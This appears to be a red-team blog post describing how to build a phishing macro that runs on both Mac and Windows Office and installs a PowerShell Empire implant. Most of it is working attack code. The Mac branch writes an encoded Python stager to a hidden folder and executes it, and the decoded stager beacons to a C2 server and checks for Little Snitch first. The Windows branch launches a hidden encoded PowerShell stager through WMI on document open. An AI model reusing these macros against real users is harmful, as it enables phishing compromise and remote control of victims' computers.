I worked on an engagement a while back where the primary goal was to run a phishing campaign designed to establish a botnet within a client’s corporate network. The only dilemma was that we didn’t know if the weaponized phishing email would land on a Mac or Windows system. We were made aware that the employees at that company used both systems based on preference.
The goal of this post is to go over techniques used to create a weaponized macro attack that would work on both Windows and Mac. To simplify this process, I’m going to use Powershell Empire as my C2, and generate both the Windows payload and Mac (Python) payload from there. Note that this is not an earth-shattering attack. I’ve read a couple posts which covered similar attack techniques:
http://www.harmj0y.net/blog/empyre/os-x-office-macros-with-empyre/
https://www.blackhillsinfosec.com/empires-cross-platform-office-macro/
https://github.com/cr7pt0/MacroSploit/blob/master/ExampleMacro
I will focus my blog post on my efforts to create an OS X Macro payload that will work on all versions of Office (including newer versions). As some already noticed, the main predicament about generating a OS X Empire macro payload is that it only works for OS X Office 2011 and earlier versions. Newer Office versions implement a sandbox mechanism which greatly reduces the attack surface. I will not cover the process of generating a Windows weaponized Macro, since it is fairly straightforward, and has been covered extensively.
The OS X Empire macro payload fails to launch on Mac systems with newer Office versions because it fails to import the libc.dylib library. The following error is received when debugging the macro program:
Thankfully, it is possible to execute scripts in a macro on OS X using a combination of MacScript and AppleScript. Note that although MacScript is deprecated, the command is still recognized, and can be used to execute scripts. Inspired by the MacroSploit example in GitHub, I made a few modifications that will invoke MacScript and AppleScript to output the Empire python script to a file on disk, and then execute it.
First, set up a listener and generate a stager for Empire:
Next, we write a macro script that will create a hidden directory, and copy the python one-liner into a file (bad.py). I break up the one-liner script into multiple lines, because office macros have line length limitations. We then remove all newline characters from the bad.py file and output it to a file called o.py. We then give execution rights to the file, and then execute it.
The Mac macro will look like the following:
Private Sub Workbook_Open() MacScript "do shell script ""mkdir -p $HOME/.hidden""" MacScript "do shell script ""cat <<EOF > $HOME/.hidden/bad.py\nimport sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3V""" MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliM""" MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\njsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xOTIuMTY4Ljg2LjEyOTo4MCc7dD0nL2FkbWluL2dldC5waHAnO3JlcT11cmxsaWIyLlJlcXVlc3Qoc2VydmVyK3QpOwp""" MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nyZXEuYWRkX2hlYWRlcignVXNlci1BZ2VudCcsVUEpOwpyZXEuYWRkX2hlYWRlcignQ29va2llJywic2Vzc2lvbj1vemxHajhSWFVabDRWaUxlSlNlZWxXN2hvV1k9Iik7CnByb3h5ID0gdXJsbGliMi5Qcm94eUhhbmRsZXIoKTsKbyA9IHVybGxpYjIuYnVpbGRfb3BlbmVyKHByb3h5K""" MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nTsKdXJsbGliMi5pbnN0YWxsX29wZW5lcihvKTsKYT11cmxsaWIyLnVybG9wZW4ocmVxKS5yZWFkKCk7CklWPWFbMDo0XTtkYXRhPWFbNDpdO2tleT1JVisnVyE5Pkc3WjFFTkh1RGx0eDphZCxQfmZMa1NefGhxfSYnO1MsaixvdXQ9cmFuZ2UoMjU2KSwwLFtdCmZvciBpIGluIHJhbmd""" MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nlKDI1Nik6CiAgICBqPShqK1NbaV0rb3JkKGtleVtpJWxlbihrZXkpXSkpJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBkYXRhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvd""" MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nXQuYXBwZW5kKGNocihvcmQoY2hhcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp'));""" MacScript "do shell script ""tr -d '\n' < $HOME/.hidden/bad.py > $HOME/.hidden/o.py""" MacScript "do shell script ""chmod +x $HOME/.hidden/o.py""" MacScript "do shell script ""python $HOME/.hidden/o.py > /dev/null 2>&1 &""" End Sub
Note that this is not the stealthiest attack since it requires the script to be written on disk. I attempted to perform a fileless one-liner attack with the MacScript and AppleScript combination, but was not successful. Please leave me a comment if you figured it out.
Upon opening the Office document, the Mac macro detonates, calls back to the C2, but the shell is limited, since it is sandboxed. Despite the sandbox, it is still possible to get valuable information from that limited shell. The python script will be outputted in a directory similar to the following depending on which Office application you’re using:
/Users/[username]/Library/Containers/com.microsoft.Word/Data/
Once we finish testing the Windows and Mac payload, we add some subroutine logic that will trigger the right payload based on the detected operating system.
The final macro script should look similar to the following:
Public Function RunWin() As Variant Dim pT As String pT = "powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVg" pT = pT + "BFAHIAUwBpAE8ATgBUAGEAQgBMAGUALgBQAFMAVgBFAFIAUwBp" pT = pT + "AG8ATgAuAE0AYQBKAG8AUgAgAC0AZwBFACAAMwApAHsAJABHAF" pT = pT + "AAUwA9AFsAcgBlAGYAXQAuAEEAUwBTAEUATQBiAEwAeQAuAEcA" pT = pT + "ZQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ" --SNIP-- pT = pT + "AD0AIgApADsAJABEAGEAVABhAD0AJABXAEMALgBEAE8AVwBuAE" pT = pT + "wATwBhAGQARABhAFQAYQAoACQAUwBFAHIAKwAkAFQAKQA7ACQA" pT = pT + "aQBWAD0AJABEAEEAVABBAFsAMAAuAC4AMwBdADsAJABkAEEAVA" pT = pT + "BhAD0AJABkAGEAVABhAFsANAAuAC4AJABEAEEAVABhAC4ATABF" pT = pT + "AG4AZwB0AGgAXQA7AC0AagBPAGkAbgBbAEMAaABBAHIAWwBdAF" pT = pT + "0AKAAmACAAJABSACAAJABkAGEAdABBACAAKAAkAEkAVgArACQA" pT = pT + "SwApACkAfABJAEUAWAA=" Const HIDDEN_WINDOW = 0 strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") objProcess.Create pT, Null, objConfig, intProcessID End Function Public Function RunMac() As Variant MacScript "do shell script ""mkdir -p $HOME/.hidden""" MacScript "do shell script ""cat <<EOF > $HOME/.hidden/bad.py\nimport sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3V""" MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliM""" MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\njsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xOTIuMTY4Ljg2LjEyOTo4MCc7dD0nL2FkbWluL2dldC5waHAnO3JlcT11cmxsaWIyLlJlcXVlc3Qoc2VydmVyK3QpOwp""" ---SNIP--- MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nlKDI1Nik6CiAgICBqPShqK1NbaV0rb3JkKGtleVtpJWxlbihrZXkpXSkpJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBkYXRhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvd""" MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nXQuYXBwZW5kKGNocihvcmQoY2hhcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp'));""" MacScript "do shell script ""tr -d '\n' < $HOME/.hidden/bad.py > $HOME/.hidden/o.py""" MacScript "do shell script ""chmod +x $HOME/.hidden/o.py""" MacScript "do shell script ""python $HOME/.hidden/o.py > /dev/null 2>&1 &""" End Function Sub Auto_Open() #If Mac Then RunMac #Else RunWin #End If End Sub Sub AutoOpen() #If Mac Then RunMac #Else RunWin #End If End Sub Sub Document_Open() #If Mac Then RunMac #Else RunWin #End If End Sub
If set up correctly, you should have a working multi-platform weaponized macro!
Let the fun begin 🙂